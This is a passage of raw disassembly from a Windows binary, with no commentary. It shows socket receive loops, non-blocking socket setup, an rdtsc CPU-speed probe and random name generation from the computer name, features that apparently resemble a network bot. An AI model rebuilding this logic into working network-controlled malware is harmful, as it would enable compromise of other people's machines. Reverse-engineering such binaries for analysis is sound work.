loc_41AC52: ; CODE XREF: ___:0041AC46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ACB6 mov edi, ebp loc_41AC6B: ; CODE XREF: ___:0041ACB4j cmp edi, ebx jz short loc_41ACB6 cmp [esp+18h], bl jz short loc_41ACB6 call sub_40196A test al, al jz short loc_41ACB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ACA1 cmp al, 0Dh jz short loc_41ACA1 cmp al, bl jnz short loc_41ACA9 loc_41ACA1: ; CODE XREF: ___:0041AC97j ; ___:0041AC9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ACA9: ; CODE XREF: ___:0041AC9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC6B loc_41ACB6: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD00: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AD1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD1C: ; CODE XREF: ___:0041AD12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD32 loc_41AD28: ; CODE XREF: ___:0041AD6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: ___:0041AD26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD9D mov edi, ebp loc_41AD4B: ; CODE XREF: ___:0041AD9Bj cmp edi, ebx jz short loc_41AD9D cmp [esp+18h], bl jz short loc_41AD9D call sub_40196A test al, al jz short loc_41AD9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AD28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD7D cmp al, bl jnz short loc_41AD90 loc_41AD7D: ; CODE XREF: ___:0041AD77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD8A mov [esi+ebp-1], bl jmp short loc_41AD8C ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: ___:0041AD82j mov [edi], bl loc_41AD8C: ; CODE XREF: ___:0041AD88j mov [esp+18h], bl loc_41AD90: ; CODE XREF: ___:0041AD7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD4B loc_41AD9D: ; CODE XREF: ___:0041AD47j ; ___:0041AD4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADF2: ; CODE XREF: ___:0041ADEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE03: ; CODE XREF: ___:0041ADFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE30 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AE30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE53: ; CODE XREF: sub_41AE30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AE30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AEBF cmp eax, 0FFFFFFFFh jz short loc_41AEB5 cmp [esi+80Bh], cl jz short loc_41AEB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEB5: ; CODE XREF: ___:0041AE9Ej ; ___:0041AEA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEBF: ; CODE XREF: ___:0041AE99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEF5: ; CODE XREF: ___:0041AEE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF6D: ; CODE XREF: ___:0041AF61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41AFA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AFA9: ; CODE XREF: ___:0041AF9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B090 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 call near ptr 71AB4519h nop retn 4 ; --------------------------------------------------------------------------- loc_41B090: ; CODE XREF: sub_41B060+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 call near ptr 71AB4519h nop retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B128 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B128: ; CODE XREF: sub_41B110+Dj mov eax, esi pop esi retn 4 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B140 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B172 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B160+9j mov esi, [esp+8+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41B1C5 push esi call near ptr 71AB4FD4h nop mov edi, eax test edi, edi jnz short loc_41B197 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B160+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B1AC loc_41B1A1: ; CODE XREF: sub_41B160+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B1A1 loc_41B1AC: ; CODE XREF: sub_41B160+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B1C5: ; CODE XREF: sub_41B160+20j pop edi pop esi retn 4 sub_41B160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C007 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B22F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3DB ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: ___:0041B218j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F30 jnz short loc_41B26C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B26C: ; CODE XREF: ___:0041B256j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F30 jnz short loc_41B292 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B292: ; CODE XREF: ___:0041B27Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B2D6: ; CODE XREF: ___:0041B2BBj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2E4: ; CODE XREF: ___:0041B302j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B308 cmp cl, bl jz short loc_41B304 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B308 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2E4 loc_41B304: ; CODE XREF: ___:0041B2EEj xor eax, eax jmp short loc_41B30D ; --------------------------------------------------------------------------- loc_41B308: ; CODE XREF: ___:0041B2EAj ; ___:0041B2F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B30D: ; CODE XREF: ___:0041B306j cmp eax, ebx jz short loc_41B37B push ebp loc_41B312: ; CODE XREF: ___:0041B365j ; ___:0041B369j nop call near ptr 27E0B10h and eax, 0Fh cmp al, 8 jnz short loc_41B326 cmp word ptr [edi+8], 0Fh jz short loc_41B36B loc_41B326: ; CODE XREF: ___:0041B31Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B332 mov edi, ebp loc_41B332: ; CODE XREF: ___:0041B32Ej mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B33A: ; CODE XREF: ___:0041B358j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B35E cmp cl, bl jz short loc_41B35A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B35E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B33A loc_41B35A: ; CODE XREF: ___:0041B344j xor eax, eax jmp short loc_41B363 ; --------------------------------------------------------------------------- loc_41B35E: ; CODE XREF: ___:0041B340j ; ___:0041B34Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B363: ; CODE XREF: ___:0041B35Cj cmp eax, ebx jnz short loc_41B312 mov edi, ebp jmp short loc_41B312 ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: ___:0041B324j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B388 ; --------------------------------------------------------------------------- loc_41B37B: ; CODE XREF: ___:0041B30Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B388: ; CODE XREF: ___:0041B379j push offset byte_448F30 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B3A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B3A8: ; CODE XREF: ___:0041B398j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B3C0: ; CODE XREF: ___:0041B2D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B3CE: ; CODE XREF: ___:0041B267j ; ___:0041B28Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3DB: ; CODE XREF: ___:0041B22Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B490: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4E8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj mov eax, esi pop esi retn 4 sub_41B4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B500 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B500 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B570: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B5B0 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B6C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B6C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B613 loc_41B5E9: ; CODE XREF: sub_41B5B0+61j mov al, [edi+10h] test al, al jz loc_41B6AF mov al, byte_4E8E44 test al, al jz short loc_41B613 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5E9 loc_41B613: ; CODE XREF: sub_41B5B0+37j ; sub_41B5B0+4Bj mov al, [edi+10h] test al, al jz loc_41B6AF loc_41B61E: ; CODE XREF: sub_41B5B0+F9j mov al, byte_4E8E44 test al, al jz loc_41B6AF test esi, esi jnz short loc_41B64E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B64A push esi mov ecx, eax call sub_401C49 jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej xor eax, eax loc_41B64C: ; CODE XREF: sub_41B5B0+98j mov esi, eax loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B667 push 7D0h call ebp jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B667: ; CODE XREF: sub_41B5B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B6A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j ; sub_41B5B0+E8j mov al, [edi+10h] test al, al jnz loc_41B61E loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej ; sub_41B5B0+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj ; sub_41B5B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B5B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449729 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 2801083h test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, 